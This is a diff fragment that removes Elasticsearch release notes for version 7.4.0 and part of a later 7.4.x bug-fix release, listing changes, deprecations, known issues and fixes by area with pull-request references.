-* Drop stored scripts with the old style-id {es-pull}48078[#48078] (issue: {es-issue}47593[#47593])
-
-Machine Learning::
-* Fix detection of syslog-like timestamp in find_file_structure {es-pull}47970[#47970]
-* Reinstate ML daily maintenance actions {es-pull}47103[#47103] (issue: {es-issue}47003[#47003])
-* Fix possibility of crash when calculating forecasts that overflow to disk {ml-pull}688[#688]
-
-Network::
-* Fix es.http.cname_in_publish_address Deprecation Logging {es-pull}47451[#47451] (issue: {es-issue}47436[#47436])
-
-SQL::
-* SQL: Fix issue with negative literels and parentheses {es-pull}48113[#48113] (issue: {es-issue}48009[#48009])
-* SQL: add "format" for "full" date range queries {es-pull}48073[#48073] (issue: {es-issue}48033[#48033])
-* SQL: Allow whitespaces in escape patterns {es-pull}47577[#47577] (issue: {es-issue}47401[#47401])
-* SQL: fix multi full-text functions usage with aggregate functions {es-pull}47444[#47444] (issue: {es-issue}47365[#47365])
-* SQL: wrong number of values for columns {es-pull}42122[#42122]
-
-Search::
-* Fix alias field resolution in match query {es-pull}47369[#47369]
-
-Snapshot/Restore::
-* Fix Bug in Azure Repo Exception Handling {es-pull}47968[#47968]
-* Fix Snapshot Corruption in Edge Case {es-pull}47552[#47552] (issues: {es-issue}46250[#46250], {es-issue}47550[#47550])
-
-Store::
-* Allow truncation of clean translog {es-pull}47866[#47866]
-
-Transform::
-* Fix bwc serialization with 7.3 {es-pull}48021[#48021]
-
-
-
-[[release-notes-7.4.0]]
-== {es} version 7.4.0
-
-Also see <<breaking-changes-7.4,Breaking changes in 7.4>>.
-
-[discrete]
-=== Known issues
-
-* Applying deletes or updates on an index after it has been shrunk may corrupt
-the index. In order to prevent this issue, it is recommended to stop shrinking
-read-write indices. For read-only indices, it is recommended to force-merge
-indices after shrinking, which significantly reduces the likeliness of this
-corruption in the case that deletes/updates would be applied by mistake. This
-bug is fixed in {es} 7.7 and later versions. More details can be found on the
-https://issues.apache.org/jira/browse/LUCENE-9300[corresponding issue].
-
-* Activating the <<search-slow-log, search slow log>> should be avoided in this version.
-Any attempt to log a slow search can throw an AIOOBE due to a bug that
-performs concurrent modifications on a shared byte array.
-(issue: {es-issue}/48358[#48358])
-
-* Indices created in 6.x with <<date,`date`>> and <<date_nanos,`date_nanos`>> fields using formats
-that are incompatible with java.time patterns will cause parsing errors, incorrect date calculations or wrong search results.
-https://github.com/elastic/elasticsearch/pull/52555
-This is fixed in {es} 7.7 and later versions.
-
-[[breaking-7.4.0]]
-[discrete]
-=== Breaking changes
-
-Infra/REST API::
-* Update the schema for the REST API specification {es-pull}42346[#42346] (issue: {es-issue}35262[#35262])
-
-Machine Learning::
-* Improve progress reporting for data frame analytics {es-pull}45856[#45856]
-
-Ranking::
-* Forbid empty doc values on vector functions {es-pull}43944[#43944]
-
-Search::
-* Use float instead of double for query vectors. {es-pull}46004[#46004]
-
-Snapshot/Restore::
-* Provide an Option to Use Path-Style-Access with S3 Repo {es-pull}41966[#41966] (issue: {es-issue}41816[#41816])
-
-Transforms::
-* Combine task_state and indexer_state in _stats {es-pull}45276[#45276] (issue: {es-issue}45201[#45201])
-* Improve response format of transform stats endpoint {es-pull}44350[#44350] (issue: {es-issue}43767[#43767])
-
-
-[[breaking-java-7.4.0]]
-[discrete]
-=== Breaking Java changes
-
-Geo::
-* Geo: Change order of parameter in Geometries to lon, lat {es-pull}45332[#45332] (issue: {es-issue}45048[#45048])
-
-Network::
-* Stop Recreating Wrapped Handlers in RestController {es-pull}44964[#44964]
-
-
-
-[[deprecation-7.4.0]]
-[discrete]
-=== Deprecations
-
-Geo::
-* Geo: add Geometry-based query builders to QueryBuilders {es-pull}45058[#45058] (issues: {es-issue}44715[#44715], {es-issue}45048[#45048])
-
-Infra/Core::
-* Bundle AdoptOpenJDK 13 {es-pull}46860[#46860]
-* Add deprecation check for pidfile setting {es-pull}45939[#45939] (issues: {es-issue}45938[#45938], {es-issue}45940[#45940])
-* Deprecate the pidfile setting {es-pull}45938[#45938]
-* Add node.processors setting in favor of processors {es-pull}45855[#45855]
-* Deprecate setting processors to more than available {es-pull}44889[#44889]
-
-Infra/Settings::
-* Add deprecation check for processors {es-pull}45925[#45925] (issues: {es-issue}45855[#45855], {es-issue}45905[#45905])
-
-Machine Learning::
-* Only emit deprecation warning if there was actual change of a datafeed's job_id. {es-pull}44755[#44755]
-* Deprecate the ability to update datafeed's job_id. {es-pull}44691[#44691] (issue: {es-issue}44615[#44615])
-
-
-
-[[feature-7.4.0]]
-[discrete]
-=== New features
-
-Aggregations::
-* Support Range Fields in Histogram and Date Histogram {es-pull}45395[#45395]
-* Add Cumulative Cardinality agg (and Data Science plugin) {es-pull}43661[#43661] (issue: {es-issue}43550[#43550])
-
-Analysis::
-* Add support for inlined user dictionary in the Kuromoji plugin {es-pull}45489[#45489] (issue: {es-issue}25343[#25343])
-
-Authentication::
-* PKI realm authentication delegation {es-pull}45906[#45906] (issue: {es-issue}34396[#34396])
-* PKI Authentication Delegation in new endpoint {es-pull}43796[#43796] (issue: {es-issue}34396[#34396])
-
-Authorization::
-* Add granular privileges for API keys {es-pull}42020[#42020]
-
-Features/ILM::
-* Add Snapshot Lifecycle Management {es-pull}43934[#43934] (issue: {es-issue}38461[#38461])
-
-Features/Watcher::
-* Add max_iterations configuration to watcher action with foreach execution {es-pull}45715[#45715] (issues: {es-issue}41997[#41997], {es-issue}45169[#45169])
-
-Geo::
-* [SPATIAL] New ShapeQueryBuilder for querying indexed cartesian geometry {es-pull}45108[#45108] (issue: {es-issue}44980[#44980])
-* [GEO] New ShapeFieldMapper for indexing cartesian geometries {es-pull}44980[#44980]
-* Add Circle Processor {es-pull}43851[#43851] (issue: {es-issue}43554[#43554])
-* New `shape` field type for indexing Cartesian Geometries {es-pull}43644[#43644]
-
-Machine Learning::
-* Allow the user to specify 'query' in Evaluate Data Frame request {es-pull}45775[#45775] (issue: {es-issue}45729[#45729])
-* Call the new _estimate_memory_usage API endpoint on data frame analytics _start {es-pull}45536[#45536] (issues: {es-issue}44699[#44699], {es-issue}45544[#45544])
-* HLRC for memory usage estimation API {es-pull}45531[#45531] (issues: {es-issue}44699[#44699], {es-issue}45188[#45188])
-* Implement ml/data_frame/analytics/_estimate_memory_usage API endpoint {es-pull}45188[#45188] (issue: {es-issue}44699[#44699])
-
-
-
-[[enhancement-7.4.0]]
-[discrete]
-=== Enhancements
-
-Aggregations::
-* Add more flexibility to MovingFunction window alignment {es-pull}44360[#44360] (issue: {es-issue}42181[#42181])
-* Optimize Min and Max BKD optimizations {es-pull}44315[#44315] (issue: {es-issue}44290[#44290])
-* Allow pipeline aggs to select specific buckets from multi-bucket aggs {es-pull}44179[#44179]
-
-Allocation::
-* Defer reroute when starting shards {es-pull}44433[#44433] (issues: {es-issue}42105[#42105], {es-issue}42738[#42738])
-* Allow RerouteService to reroute at lower priority {es-pull}44338[#44338]
-* Auto-release of read-only-allow-delete block when disk utilization fa… {es-pull}42559[#42559] (issue: {es-issue}39334[#39334])
-
-Analysis::
-* Allow all token/char filters in normalizers {es-pull}43803[#43803] (issue: {es-issue}43758[#43758])
-
-Authentication::
-* Allow Transport Actions to indicate authN realm {es-pull}45767[#45767] (issue: {es-issue}45331[#45331])
-* Explicitly fail if a realm only exists in keystore {es-pull}44471[#44471] (issue: {es-issue}44207[#44207])
-
-Authorization::
-* Add `manage_own_api_key` cluster privilege {es-pull}45897[#45897] (issue: {es-issue}40031[#40031])
-* Consider `owner` flag when retrieving/invalidating keys with API key service {es-pull}45421[#45421] (issue: {es-issue}40031[#40031])
-* REST API changes for manage-own-api-key privilege {es-pull}44936[#44936] (issue: {es-issue}40031[#40031])
-* Simplify API key service API {es-pull}44935[#44935] (issue: {es-issue}40031[#40031])
-
-CCR::
-* Include leases in error message when operations no longer available {es-pull}45681[#45681]
-
-CRUD::
-* Return seq_no and primary_term for noop update {es-pull}44603[#44603] (issue: {es-issue}42497[#42497])
-
-Cluster Coordination::
-* Improve slow logging in MasterService {es-pull}45086[#45086] (issue: {es-issue}45007[#45007])
-* More logging for slow cluster state application {es-pull}45007[#45007]
-* Ignore unknown fields if overriding node metadata {es-pull}44689[#44689]
-* Allow pending tasks before state recovery {es-pull}44685[#44685] (issue: {es-issue}44652[#44652])
-
-Distributed::
-* Do not create engine under IndexShard#mutex {es-pull}45263[#45263] (issue: {es-issue}43699[#43699])
-
-Docs Infrastructure::
-* add clarification around TESTSETUP docu and error message {es-pull}43306[#43306]
-
-Engine::
-* Flush engine after big merge {es-pull}46066[#46066]
-* Do sync before closeIntoReader when rolling generation to improve index performance {es-pull}45765[#45765] (issue: {es-issue}45371[#45371])
-* Refactor index engines to manage readers instead of searchers {es-pull}43860[#43860]
-* Async IO Processor release before notify {es-pull}43682[#43682]
-* Enable indexing optimization using sequence numbers on replicas {es-pull}43616[#43616] (issue: {es-issue}34099[#34099])
-
-Features/ILM::
-* Add node setting for disabling SLM {es-pull}46794[#46794] (issue: {es-issue}38461[#38461])
-* Include in-progress snapshot for a policy with get SLM policy API {es-pull}45245[#45245]
-*  Add option to filter ILM explain response {es-pull}44777[#44777] (issue: {es-issue}44189[#44189])
-* Expose index age in ILM explain output {es-pull}44457[#44457] (issue: {es-issue}38988[#38988])
-
-Features/Indices APIs::
-* Add Clone Index API {es-pull}44267[#44267] (issue: {es-issue}44128[#44128])
-* Add description to force-merge tasks {es-pull}41365[#41365] (issue: {es-issue}15975[#15975])
-
-Features/Ingest::
-* Fix IngestService to respect original document content type {es-pull}45799[#45799]
-* Ingest Attachment: Upgrade tika to v1.22 {es-pull}45575[#45575]
-* Retrieve processors instead of checking existence {es-pull}45354[#45354]
-* Add ingest processor existence helper method {es-pull}45156[#45156]
-* Change the ingest simulate api to not include dropped documents {es-pull}44161[#44161] (issue: {es-issue}36150[#36150])
-
-Features/Java High Level REST Client::
-* Add XContentType as parameter to HLRC ART#createServerTestInstance {es-pull}46036[#46036] (issue: {es-issue}45970[#45970])
-* Add CloseIndexResponse to HLRC {es-pull}44349[#44349] (issue: {es-issue}39687[#39687])
-* Add mapper-extras and the RankFeatureQuery in the hlrc {es-pull}43713[#43713] (issue: {es-issue}43634[#43634])
-* removing background state update of Request object by RequestConverte… {es-pull}40156[#40156] (issue: {es-issue}39666[#39666])
-* Add delete aliases API to the high-level REST client {es-pull}32909[#32909] (issue: {es-issue}27205[#27205])
-
-Features/Watcher::
-* Add SSL/TLS settings for watcher email {es-pull}45272[#45272] (issue: {es-issue}30307[#30307])
-* Watcher reporting: add email warning if CSV attachment contains values that may be interperted as formulas {es-pull}44460[#44460]
-* Watcher add stopped listener {es-pull}43939[#43939] (issue: {es-issue}42409[#42409])
-* Improve CryptoService error message on missing secure file {es-pull}43623[#43623] (issue: {es-issue}43619[#43619])
-
-Geo::
-* Support WKT point conversion to geo_point type {es-pull}44107[#44107] (issue: {es-issue}41821[#41821])
-
-Infra/Circuit Breakers::
-* Fix G1 GC default IHOP {es-pull}46169[#46169]
-
-Infra/Core::
-* Add OCI annotations and adjust existing annotations {es-pull}45167[#45167] (issues: {es-issue}45162[#45162], {es-issue}45166[#45166])
-* Use the full hash in build info {es-pull}45163[#45163] (issue: {es-issue}45162[#45162])
-
-Infra/Packaging::
-* Remove redundant Java check from Sys V init {es-pull}45793[#45793] (issue: {es-issue}45593[#45593])
-* Notify systemd when Elasticsearch is ready {es-pull}44673[#44673]
-
-Infra/Plugins::
-* Make plugin verification FIPS 140 compliant {es-pull}44224[#44224] (issue: {es-issue}41263[#41263])
-
-Infra/Scripting::
-* Whitelist randomUUID in Painless {es-pull}45148[#45148] (issue: {es-issue}39080[#39080])
-* Add missing ZonedDateTime methods for joda compat layer {es-pull}44829[#44829] (issue: {es-issue}44411[#44411])
-* Remove stale permissions from untrusted policy {es-pull}44783[#44783]
-
-Infra/Settings::
-* Add more meaningful keystore version mismatch errors {es-pull}46291[#46291] (issue: {es-issue}44624[#44624])
-* Lift the restrictions that uppercase is not allowed in Setting Name. {es-pull}45222[#45222] (issue: {es-issue}43835[#43835])
-* Normalize environment paths {es-pull}45179[#45179] (issue: {es-issue}45176[#45176])
-
-Machine Learning::
-* Support boolean fields for data frame analytics {es-pull}46037[#46037]
-* Add description to data frame analytics {es-pull}45774[#45774]
-* Add regression analysis to data frame analytics {es-pull}45292[#45292]
-* Introduce formal node ML role {es-pull}45174[#45174] (issues: {es-issue}29943[#29943], {es-issue}43175[#43175])
-* Improve CSV header row detection in find_file_structure {es-pull}45099[#45099] (issue: {es-issue}45047[#45047])
-* Outlier detection should only fetch docs that have the analyzed fields {es-pull}44944[#44944]
-* Persist DatafeedTimingStats with RefreshPolicy.NONE by default {es-pull}44940[#44940] (issue: {es-issue}44792[#44792])
-* Add result_type field to TimingStats and DatafeedTimingStats documents {es-pull}44812[#44812]
-* Implement exponential average search time per hour statistics. {es-pull}44683[#44683] (issue: {es-issue}29857[#29857])
-* Add r_squared eval metric to regression {es-pull}44248[#44248]
-* Adds support for regression.mean_squared_error to eval API {es-pull}44140[#44140]
-* Add DatafeedTimingStats.average_search_time_per_bucket_ms and TimingStats.total_bucket_processing_time_ms stats {es-pull}44125[#44125] (issue: {es-issue}29857[#29857])
-* Add DatafeedTimingStats to datafeed GetDatafeedStatsAction.Response {es-pull}43045[#43045] (issue: {es-issue}29857[#29857])
-
-Network::
-* Better logging for TLS message on non-secure transport channel {es-pull}45835[#45835] (issue: {es-issue}32688[#32688])
-* Asynchronously connect to remote clusters {es-pull}44825[#44825] (issue: {es-issue}40150[#40150])
-* Improve errors when TLS files cannot be read {es-pull}44787[#44787] (issue: {es-issue}43079[#43079])
-* Add per-socket keepalive options {es-pull}44055[#44055]
-* Move ConnectionManager to async APIs {es-pull}42636[#42636]
-
-Ranking::
-* Search enhancement: pinned queries {es-pull}44345[#44345] (issue: {es-issue}44074[#44074])
-* Fix parameter value for calling data.advanceExact {es-pull}44205[#44205]
-* Add l1norm and l2norm distances for vectors {es-pull}44116[#44116] (issue: {es-issue}37947[#37947])
-
-Recovery::
-* Ignore translog retention policy if soft-deletes enabled {es-pull}45473[#45473] (issue: {es-issue}45136[#45136])
-* Only retain reasonable history for peer recoveries {es-pull}45208[#45208] (issue: {es-issue}41536[#41536])
-* Use index for peer recovery instead of translog {es-pull}45136[#45136] (issues: {es-issue}38904[#38904], {es-issue}41536[#41536], {es-issue}42211[#42211])
-* Trim local translog in peer recovery {es-pull}44756[#44756]
-* Make peer recovery send file chunks async {es-pull}44468[#44468] (issues: {es-issue}36195[#36195], {es-issue}44040[#44040])
-
-SQL::
-* SQL: Support queries with HAVING over SELECT {es-pull}46709[#46709] (issue: {es-issue}37051[#37051])
-* SQL: Break TextFormatter/Cursor dependency {es-pull}45613[#45613] (issue: {es-issue}45516[#45516])
-* SQL: remove deprecated use of "interval" from date_histogram usage {es-pull}45501[#45501] (issue: {es-issue}43922[#43922])
-* SQL: use hasValue() methods from Elasticsearch's InspectionHelper classes {es-pull}44745[#44745] (issue: {es-issue}35745[#35745])
-* Switch from using docvalue_fields to extracting values from _source {es-pull}44062[#44062] (issue: {es-issue}41852[#41852])
-
-Search::
-* Adds usage stats for vectors: {es-pull}44512[#44512]
-* Associate sub-requests to their parent task in multi search API {es-pull}44492[#44492]
-* Cancel search task on connection close {es-pull}43332[#43332]
-
-Security::
-* Set security index refresh interval to 1s {es-pull}45434[#45434] (issue: {es-issue}44934[#44934])
-
-Snapshot/Restore::
-* add disable_chunked_encoding configuration {es-pull}44052[#44052]
-* Repository Cleanup Endpoint {es-pull}43900[#43900]
-
-Task Management::
-* Remove task null check in TransportAction {es-pull}45014[#45014]
-* TaskListener#onFailure to accept Exception instead of Throwable {es-pull}44946[#44946]
-* Move child task cancellation to TaskManager {es-pull}44573[#44573] (issue: {es-issue}44494[#44494])
-
-Transforms::
-* Add update transform api endpoint {es-pull}45154[#45154] (issue: {es-issue}43438[#43438])
-* Add support for bucket_selector {es-pull}44718[#44718] (issues: {es-issue}43744[#43744], {es-issue}44557[#44557])
-* Add force delete {es-pull}44590[#44590] (issue: {es-issue}43961[#43961])
-* Add dynamic cluster setting for failure retries {es-pull}44577[#44577]
-* Add optional defer_validation param to PUT {es-pull}44455[#44455] (issue: {es-issue}43439[#43439])
-* Add support for geo_bounds aggregation {es-pull}44441[#44441]
-* Add a frequency option to transform config, default 1m {es-pull}44120[#44120]
-
-
-[[bug-7.4.0]]
-[discrete]
-=== Bug fixes
-
-Aggregations::
-* Fix early termination of aggregators that run with breadth-first mode {es-pull}44963[#44963] (issue: {es-issue}44909[#44909])
-* Support BucketScript paths of type string and array. {es-pull}44694[#44694] (issue: {es-issue}44385[#44385])
-
-Allocation::
-* Avoid overshooting watermarks during relocation {es-pull}46079[#46079] (issue: {es-issue}45177[#45177])
-* Cluster health should await events plus other things {es-pull}44348[#44348]
-* Do not copy initial recovery filter during split {es-pull}44053[#44053] (issue: {es-issue}43955[#43955])
-
-Analysis::
-* Enable reloading of synonym_graph filters {es-pull}45135[#45135] (issue: {es-issue}45127[#45127])
-* Fix AnalyzeAction response serialization {es-pull}44284[#44284] (issue: {es-issue}44078[#44078])
-
-Authentication::
-* Fallback to realm authc if ApiKey fails {es-pull}46538[#46538]
-* Enforce realm name uniqueness {es-pull}46253[#46253]
-* Allow empty token endpoint for implicit flow {es-pull}45038[#45038]
-* Do not use scroll when finding duplicate API key {es-pull}45026[#45026]
-* Fix broken short-circuit in getUnlicensedRealms {es-pull}44399[#44399]
-* Fix X509AuthenticationToken principal {es-pull}43932[#43932] (issues: {es-issue}34396[#34396], {es-issue}43796[#43796])
-
-Authorization::
-* Do not rewrite aliases on remove-index from aliases requests {es-pull}46989[#46989]
-* Give kibana user privileges to create APM agent config index {es-pull}46765[#46765] (issue: {es-issue}45610[#45610])
-*  Add `manage_own_api_key` cluster privilege {es-pull}45696[#45696] (issue: {es-issue}40031[#40031])
-* Sparse role queries can throw an NPE {es-pull}45053[#45053]
-
-CCR::
-* Clean up ShardFollowTasks for deleted indices {es-pull}44702[#44702] (issue: {es-issue}34404[#34404])
-* Skip update if leader and follower settings identical {es-pull}44535[#44535] (issue: {es-issue}44521[#44521])
-* Avoid stack overflow in auto-follow coordinator {es-pull}44421[#44421] (issue: {es-issue}43251[#43251])
-* Avoid NPE when checking for CCR index privileges {es-pull}44397[#44397] (issue: {es-issue}44172[#44172])
-
-CRUD::
-* Ignore replication for noop updates {es-pull}46458[#46458] (issues: {es-issue}41065[#41065], {es-issue}44603[#44603], {es-issue}46366[#46366])
-* Allow _update on write alias {es-pull}45318[#45318] (issue: {es-issue}31520[#31520])
-* Do not allow version in Rest Update API {es-pull}43516[#43516] (issue: {es-issue}42497[#42497])
-
-Cluster Coordination::
-* Assert no exceptions during state application {es-pull}47090[#47090] (issue: {es-issue}47038[#47038])
-* Avoid counting votes from master-ineligible nodes {es-pull}43688[#43688]
-
-Distributed::
-* Fix false positive out of sync warning in synced-flush {es-pull}46576[#46576] (issues: {es-issue}28464[#28464], {es-issue}30244[#30244])
-* Suppress warning logs from background sync on relocated primary {es-pull}46247[#46247] (issues: {es-issue}40800[#40800], {es-issue}42241[#42241])
-* Ensure AsyncTask#isScheduled remain false after close {es-pull}45687[#45687] (issue: {es-issue}45576[#45576])
-* Update translog checkpoint after marking operations as persisted {es-pull}45634[#45634] (issue: {es-issue}29161[#29161])
-* Fix clock used in update requests {es-pull}45262[#45262] (issue: {es-issue}45254[#45254])
-* Restore DefaultShardOperationFailedException's reason during deserialization {es-pull}45203[#45203]
-* Use IndicesModule named writables in elasticsearch-shard tool {es-pull}45036[#45036] (issue: {es-issue}44628[#44628])
-
-Engine::
-* Handle delete document level failures {es-pull}46100[#46100] (issue: {es-issue}46083[#46083])
-* Handle no-op document level failures {es-pull}46083[#46083]
-* Remove leniency during replay translog in peer recovery {es-pull}44989[#44989]
-* Throw TranslogCorruptedException in more cases {es-pull}44217[#44217]
-* Fail engine if hit document failure on replicas {es-pull}43523[#43523] (issues: {es-issue}40435[#40435], {es-issue}43228[#43228])
-
-Features/ILM::
-* Handle partial failure retrieving segments in SegmentCountStep {es-pull}46556[#46556]
-* Fixes for API specification {es-pull}46522[#46522]
-* Fix SnapshotLifecycleMetadata xcontent serialization {es-pull}46500[#46500] (issue: {es-issue}46499[#46499])
-* Updated slm API spec parameters and URL {es-pull}44797[#44797]
-* Fix swapped variables in error message {es-pull}44300[#44300]
-
-Features/Indices APIs::
-* Fix a bug where mappings are dropped from rollover requests. {es-pull}45411[#45411] (issue: {es-issue}45399[#45399])
-* Create index with typeless mapping {es-pull}45120[#45120]
-* Check shard limit after applying index templates {es-pull}44619[#44619] (issues: {es-issue}34021[#34021], {es-issue}44567[#44567], {es-issue}44619[#44619])
-* Validate index settings after applying templates {es-pull}44612[#44612] (issues: {es-issue}34021[#34021], {es-issue}44567[#44567])
-
-Features/Ingest::
-* Allow dropping documents with auto-generated ID {es-pull}46773[#46773] (issue: {es-issue}46678[#46678])
-
-Features/Java High Level REST Client::
-* [HLRC] Send min_score as query string parameter to the count API {es-pull}46829[#46829] (issue: {es-issue}46474[#46474])
-* HLRC multisearchTemplate forgot params {es-pull}46492[#46492] (issue: {es-issue}46488[#46488])
-* terminateAfter added to the RequestConverter {es-pull}46474[#46474] (issue: {es-issue}46446[#46446])
-* [Closes #44045] Added 'slices' parameter when submitting reindex request via Java high level REST client {es-pull}45690[#45690] (issue: {es-issue}44045[#44045])
-* HLRC: Fix '+' Not Correctly Encoded in GET Req. {es-pull}33164[#33164] (issue: {es-issue}33077[#33077])
-
-Features/Watcher::
-* Fix class used to initialize logger in Watcher {es-pull}46467[#46467]
-* Fix wrong URL encoding in watcher HTTP client {es-pull}45894[#45894] (issue: {es-issue}44970[#44970])
-* Fix watcher HttpClient URL creation {es-pull}45207[#45207] (issue: {es-issue}44970[#44970])
-* Log write failures for watcher history document. {es-pull}44129[#44129]
-
-Geo::
-* Geo: fix geo query decomposition {es-pull}44924[#44924] (issue: {es-issue}44891[#44891])
-* Geo: add validator that only checks altitude {es-pull}43893[#43893]
-
-Highlighting::
-* Fix highlighting for script_score query {es-pull}46507[#46507] (issue: {es-issue}46471[#46471])
-
-Infra/Core::
-* Always check that cgroup data is present {es-pull}45606[#45606] (issue: {es-issue}45396[#45396])
-* Safe publication of DelayedAllocationService and SnapshotShardsService {es-pull}45517[#45517] (issue: {es-issue}38560[#38560])
-* Add default CLI JVM options {es-pull}44545[#44545] (issues: {es-issue}219[#219], {es-issue}42021[#42021])
-* Fix decimal point parsing for date_optional_time {es-pull}43859[#43859] (issue: {es-issue}43730[#43730])
-
-Infra/Logging::
-* Fix types field in JSON Search Slow Logs {es-pull}44641[#44641]
-* Add types field to JSON slow logs in 7.x {es-pull}44592[#44592] (issues: {es-issue}41354[#41354], {es-issue}44178[#44178])
-
-Infra/Packaging::
-* Add destructiveDistroTest meta task {es-pull}45762[#45762]
-* Use bundled JDK in Sys V init {es-pull}45593[#45593] (issue: {es-issue}45542[#45542])
-* Restore setting up temp dir for windows service {es-pull}44541[#44541]
-
-Infra/Plugins::
-* Do not checksum all bytes at once in plugin install {es-pull}44649[#44649] (issue: {es-issue}44545[#44545])
-
-Infra/REST API::
-* Improve error message when index settings are not a map {es-pull}45588[#45588] (issue: {es-issue}45126[#45126])
-* Add is_write_index column to cat.aliases {es-pull}44772[#44772]
-* Fix URL documentation in API specs {es-pull}44487[#44487]
-
-Infra/Scripting::
-* Fix bugs in Painless SCatch node {es-pull}45880[#45880]
-* Fix JodaCompatibleZonedDateTime casts in Painless {es-pull}44874[#44874]
-
-Infra/Settings::
-* bug fix about elasticsearch.common.settings.Settings.processSetting {es-pull}44047[#44047] (issue: {es-issue}43791[#43791])
-
-Machine Learning::
-* Fix two datafeed flush lockup bugs {es-pull}46982[#46982]
-* Throw an error when a datafeed needs CCS but it is not enabled for the node {es-pull}46044[#46044] (issue: {es-issue}46025[#46025])
-* Handle "null" value of Estimate memory usage API response gracefully. {es-pull}45726[#45726] (issue: {es-issue}44699[#44699])
-* Remove timeout on waiting for data frame analytics result processor to complete {es-pull}45724[#45724] (issue: {es-issue}45723[#45723])
-* Check dest index is empty when starting data frame analytics {es-pull}45094[#45094]
-* Catch any error thrown while closing data frame analytics process {es-pull}44958[#44958]
-* Treat PostDataActionResponse.DataCounts.bucketCount as incremental rather than absolute (total). {es-pull}44803[#44803] (issue: {es-issue}44792[#44792])
-* Treat big changes in searchCount as significant and persist the document after such changes {es-pull}44413[#44413] (issues: {es-issue}44196[#44196], {es-issue}44335[#44335])
-* Update .ml-config mappings before indexing job, datafeed or data frame analytics config {es-pull}44216[#44216] (issue: {es-issue}44263[#44263])
-* Wait for .ml-config primary before assigning persistent tasks {es-pull}44170[#44170] (issue: {es-issue}44156[#44156])
-* Fix ML memory tracker lockup when inner step fails {es-pull}44158[#44158] (issue: {es-issue}44156[#44156])
-* Fix datafeed checks when a concrete remote index is present {es-pull}43923[#43923] (issue: {es-issue}42113[#42113])
-* Rename outlier detection method values `knn` and `tnn` to `distance_kth_nn` and `distance_knn`
-respectively to match the API. {ml-pull}598[#598]
-* Fix occasional (non-deterministic) reinitialisation of modeling for the `lat_long`
-function. {ml-pull}641[#641]
-
-Mapping::
-* Make sure to validate the type before attempting to merge a new mapping. {es-pull}45157[#45157] (issues: {es-issue}29316[#29316], {es-issue}43012[#43012])
-* Ensure field caps doesn't error on rank feature fields. {es-pull}44370[#44370] (issue: {es-issue}44330[#44330])
-* Prevent types deprecation warning for indices.exists requests {es-pull}43963[#43963] (issue: {es-issue}43905[#43905])
-* Add include_type_name in indices.exitst REST API spec {es-pull}43910[#43910] (issue: {es-issue}43905[#43905])
-
-Network::
-* Fix Broken HTTP Request Breaking Channel Closing {es-pull}45958[#45958] (issues: {es-issue}43362[#43362], {es-issue}43850[#43850])
-* Fix plaintext on TLS port logging {es-pull}45852[#45852] (issue: {es-issue}32688[#32688])
-* transport.publish_address should contain CNAME {es-pull}45626[#45626] (issues: {es-issue}32806[#32806], {es-issue}39970[#39970])
-* Fix bug in copying bytes for socket write {es-pull}45463[#45463] (issue: {es-issue}45444[#45444])
-
-Recovery::
-* Never release store using CancellableThreads {es-pull}45409[#45409] (issues: {es-issue}45136[#45136], {es-issue}45237[#45237])
-* Remove leniency in reset engine from translog {es-pull}44711[#44711]
-
-Rollup::
-* Fix Rollup job creation to work with templates {es-pull}43943[#43943]
-
-SQL::
-* SQL: Properly handle indices with no/empty mapping {es-pull}46775[#46775] (issue: {es-issue}46757[#46757])
-* SQL: improve ResultSet behavior when no rows are available {es-pull}46753[#46753] (issue: {es-issue}46750[#46750])
-* SQL: use the correct data type for types conversion {es-pull}46574[#46574] (issue: {es-issue}46090[#46090])
-* SQL: Fix issue with common type resolution {es-pull}46565[#46565] (issue: {es-issue}46551[#46551])
-* SQL: fix scripting for grouped by datetime functions {es-pull}46421[#46421] (issue: {es-issue}40241[#40241])
-* SQL: Use null schema response {es-pull}46386[#46386] (issue: {es-issue}46381[#46381])
-* SQL: Fix issue with IIF function when condition folds {es-pull}46290[#46290] (issue: {es-issue}46268[#46268])
-* SQL: Fix issue with DataType for CASE with NULL {es-pull}46173[#46173] (issue: {es-issue}46032[#46032])
-* SQL: adds format parameter to range queries for constant date comparisons {es-pull}45326[#45326] (issue: {es-issue}45139[#45139])
-* SQL: uniquely named inner_hits sections for each nested field condition {es-pull}45039[#45039] (issues: {es-issue}33080[#33080], {es-issue}44544[#44544])
-* SQL: fix URI path being lost in case of hosted ES scenario {es-pull}44776[#44776] (issue: {es-issue}44721[#44721])
-* SQL: change the size of the list of concrete indices when resolving multiple indices {es-pull}43878[#43878] (issue: {es-issue}43876[#43876])
-* SQL: handle double quotes escaping {es-pull}43829[#43829] (issue: {es-issue}43810[#43810])
-* SQL: add pretty printing to JSON format {es-pull}43756[#43756]
-* SQL: handle SQL not being available in a more graceful way {es-pull}43665[#43665] (issue: {es-issue}41279[#41279])
-
-Search::
-* Multi-get requests should wait for search active {es-pull}46283[#46283] (issue: {es-issue}27500[#27500])
-* Ensure top docs optimization is fully disabled for queries with unbounded max scores. {es-pull}46105[#46105] (issue: {es-issue}45933[#45933])
-* Disallow partial results when shard unavailable {es-pull}45739[#45739] (issue: {es-issue}42612[#42612])
-* Prevent Leaking Search Tasks on Exceptions in FetchSearchPhase and DfsQueryPhase {es-pull}45500[#45500]
-* Fix an NPE when requesting inner hits and _source is disabled. {es-pull}44836[#44836] (issue: {es-issue}43517[#43517])
-* Don't use index_phrases on graph queries {es-pull}44340[#44340] (issue: {es-issue}43976[#43976])
-
-Security::
-* Initialize document subset bit set cache used for DLS {es-pull}46211[#46211] (issue: {es-issue}45147[#45147])
-* Fix .security-* indices auto-create {es-pull}44918[#44918]
-* SecurityIndexManager handle RuntimeException while reading mapping {es-pull}44409[#44409]
-* Do not swallow I/O exception getting authentication {es-pull}44398[#44398] (issues: {es-issue}44172[#44172], {es-issue}44397[#44397])
-* Use system context for looking up connected nodes {es-pull}43991[#43991] (issue: {es-issue}43974[#43974])
-
-Snapshot/Restore::
-* Fix Bug in Snapshot Status Response Timestamps {es-pull}46919[#46919] (issue: {es-issue}46913[#46913])
-* GCS deleteBlobsIgnoringIfNotExists should catch StorageException {es-pull}46832[#46832] (issue: {es-issue}46772[#46772])
-* Fix TransportSnapshotsStatusAction ThreadPool Use {es-pull}45824[#45824]
-* Stop Executing SLM Policy Transport Action on Snapshot Pool {es-pull}45727[#45727] (issue: {es-issue}45594[#45594])
-* Check again on-going snapshots/restores of indices before closing {es-pull}43873[#43873]
-* Make Timestamps Returned by Snapshot APIs Consistent {es-pull}43148[#43148] (issue: {es-issue}43074[#43074])
-* Recursively Delete Unreferenced Index Directories {es-pull}42189[#42189] (issue: {es-issue}13159[#13159])
-
